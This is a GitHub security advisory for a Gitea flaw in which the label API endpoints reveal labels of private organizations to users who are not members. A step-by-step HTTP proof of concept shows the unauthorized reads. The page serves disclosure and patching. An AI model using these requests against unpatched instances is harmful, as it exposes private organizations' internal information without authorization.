Skip to content

Gitea: Unauthorized Access to Labels of Private Organizations

High severity GitHub Reviewed Published Jun 21, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.26.3

Patched versions

1.26.3

Description

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

POST /api/v1/orgs
Authorization: token <owner_token>

{
  "username": "target-org",
  "visibility": "private"
}

Create a label:

POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>

{
  "name": "internal-label",
  "color": "#aabbcc",
  "description": "private organization label"
}

Verify that the organization is not accessible to a non-member:

GET /api/v1/orgs/target-org
Authorization: token <non_member_token>

Response:

HTTP/1.1 404 Not Found

Retrieve all labels

Request:

GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Response:

HTTP/1.1 403 Forbidden

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

References

@bircni bircni published to go-gitea/gitea Jun 21, 2026
Published by the National Vulnerability Database Jul 3, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(39th percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-25038

GHSA ID

GHSA-v73x-hx65-6pf4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.